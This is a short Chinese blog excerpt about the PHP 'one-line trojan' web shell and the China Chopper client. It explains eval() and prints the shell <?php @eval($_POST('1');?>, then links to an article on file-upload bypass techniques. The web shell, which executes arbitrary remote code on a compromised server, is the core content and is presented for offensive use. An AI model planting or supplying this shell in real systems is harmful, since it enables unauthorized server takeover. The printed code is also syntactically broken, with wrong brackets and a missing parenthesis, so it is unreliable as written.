一句話木馬及菜刀的使用

來一波原理： eval() 函數把字符串按照 PHP 代碼來計算。該字符串必須是合法的 PHP 代碼，且必須以分號結尾。如果沒有在代碼字符串中調用 return 語句，則返回 NULL。如果代碼中存在解析錯誤，則 eval() 函數返回 false <?php  @eval($_POST(‘1’);?> 各種繞過文件上傳的姿勢：https://blog.csdn.net/wy_97/article

>>阅读原文<<